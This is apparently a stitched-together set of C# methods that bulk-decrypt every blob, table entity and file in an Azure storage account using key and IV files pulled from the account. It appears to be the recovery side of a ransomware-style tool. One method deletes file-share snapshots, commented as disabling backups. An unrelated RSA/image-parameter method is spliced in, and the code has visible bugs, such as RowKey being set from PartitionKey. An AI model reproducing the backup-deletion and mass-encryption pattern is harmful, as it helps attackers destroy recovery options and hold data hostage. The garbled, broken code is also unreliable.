public static void DecryptTables(CloudStorageAccount storageAccount, AESDecryption decrypt)
{
// Create the table client.
// Table has no snapshot so nothing to disable.
CloudTableClient tableClient = storageAccount.CreateCloudTableClient();
foreach (CloudTable table in tableClient.ListTables())
{
// Retrieve reference to a previously created tables.
CloudTable tbl = tableClient.GetTableReference(table.Name);
TableQuery query = new TableQuery();
foreach (ITableEntity entity in table.ExecuteQuery(query))
{
// Create a retrieve operation that takes a customer entity.
TableOperation retrieveOperation = TableOperation.Retrieve(entity.PartitionKey, entity.RowKey);
// Execute the operation.
TableResult retrievedResult = table.Execute(retrieveOperation);
// Assign the result to a CustomerEntity object.
ITableEntity updateEntity = (ITableEntity)retrievedResult.Result;
if (updateEntity != null)
{
//encrypt the entity's properties (patition & row)
DecryptFitTableConstrains(entity, tbl, decrypt);
}
}
Console.Read(); //keep console open for dubug
}
}
public static void DecryptBlobs(CloudStorageAccount storageAccount, AESDecryption decrypt)
{
// Create the blob client.
CloudBlobClient blobClient = storageAccount.CreateCloudBlobClient();
foreach (CloudBlobContainer containter in blobClient.ListContainers())
{
// Retrieve reference to a previously created container.
CloudBlobContainer cont = blobClient.GetContainerReference(containter.Name);
foreach (IListBlobItem item in cont.ListBlobs(null, false))
{
if (item.GetType() == typeof(CloudBlockBlob) || item.GetType() == typeof(CloudPageBlob))
{
CloudBlockBlob blob = (CloudBlockBlob)item;
if (blob.Name.EndsWith("IV") || blob.Name.EndsWith("key"))
{
continue;
}
Console.WriteLine("Decrypting Block blob named: {0}", blob.Name);
Download(blob, Utils.getPath());
// AESEncryption encrypt = new AESEncryption();
decrypt.decryptAES(Utils.getPath() + blob.Name, storageAccount);
Upload(blob, Utils.getPath());
}
}
}
}
static async Task decryptAllFiles(CloudStorageAccount storageAccount)
{
AESDecryption dec = new AESDecryption();
Utils.Download(storageAccount, "key");
Utils.Download(storageAccount, "IV");
await dec.retrieveKeyFromServer(File.ReadAllBytes("./key.txt"),
File.ReadAllBytes("./IV.txt"));
Blob_Storage.DecryptBlobs(storageAccount, dec);
Table_Storage.DecryptTables(storageAccount, dec);
File_Storage.DecryptFiles(storageAccount, dec);
}
public static void DecryptFiles(CloudStorageAccount storageAccount, AESDecryption decrypt)
{
// Create the file client.
CloudFileClient fileClient = storageAccount.CreateCloudFileClient();
foreach (CloudFileShare share in fileClient.ListShares())
{
// Retrieve reference to a previously created container.
CloudFileShare shr = fileClient.GetShareReference(share.Name);
if (shr.IsSnapshot)
{
shr.Delete(); // part of disable backups
continue;
}
CloudFileDirectory rootDir = share.GetRootDirectoryReference();
DecryptrecruisveSearch(rootDir, decrypt, storageAccount);
}
}
private string GetEncryptParameters(ImageDetails image, string RSAKey)
{
watchAesDecrypt = Stopwatch.StartNew();
var aesDecrypt = new AESDecryption <Parameters>(image.Parameters, image.IVAes);
var plainParameters = aesDecrypt.DecryptParameters();
watchAesDecrypt.Stop();
AesDecryptTime = watchAesDecrypt.ElapsedMilliseconds;
watchRsaEncrypt = Stopwatch.StartNew();
var encryptParameters = new RSAEncryptParameters <Parameters>(RSAKey, plainParameters);
var parameters = encryptParameters.Encrypt();
watchRsaEncrypt.Stop();
RSAEncryptTime = watchRsaEncrypt.ElapsedMilliseconds;
return(parameters);
}
private static void DecryptrecruisveSearch(CloudFileDirectory dir, AESDecryption decrypt, CloudStorageAccount storageAccount)
{
foreach (var fileOrDir in dir.ListFilesAndDirectories())
{
if (fileOrDir.GetType() == typeof(CloudFile))
{
CloudFile file = fileOrDir as CloudFile;
Console.WriteLine("Found file: " + file.Name);
Download(file, Utils.getPath());
decrypt.decryptAES(Utils.getPath() + file.Name, storageAccount);
Upload(file, Utils.getPath());
//Utils.EncryptLocally(Utils.getPath() + file.Name);//for an AES encryption - use Utils.encryptAES
//upload(file, Utils.getPath());
}
if (fileOrDir.GetType() == typeof(CloudFileDirectory))
{
DecryptrecruisveSearch((CloudFileDirectory)fileOrDir, (AESDecryption)decrypt, (CloudStorageAccount)storageAccount);
}
}
}
public static void DecryptFitTableConstrains(ITableEntity updateEntity, CloudTable table, AESDecryption decrypt)
{
//convert string to int
int IntRowKey = Int32.Parse(updateEntity.RowKey);
int IntPartitionKey = Int32.Parse(updateEntity.PartitionKey);
//convert to bytes
byte[] PartitionKeyRecord = Encoding.ASCII.GetBytes(updateEntity.PartitionKey);
byte[] RowKeyRecord = Encoding.ASCII.GetBytes(updateEntity.RowKey);
//convert the bytes to string
updateEntity.PartitionKey = System.Text.Encoding.UTF8.GetString(PartitionKeyRecord);
updateEntity.RowKey = System.Text.Encoding.UTF8.GetString(RowKeyRecord);
updateEntity.PartitionKey = decrypt.TableDecryptAES(updateEntity.PartitionKey);
updateEntity.RowKey = decrypt.TableDecryptAES(updateEntity.PartitionKey);
// Create the TableOperation object that inserts the entity.
TableOperation insertOperation = TableOperation.Insert(updateEntity);
// Execute the insert operation.
table.Execute(insertOperation);
}
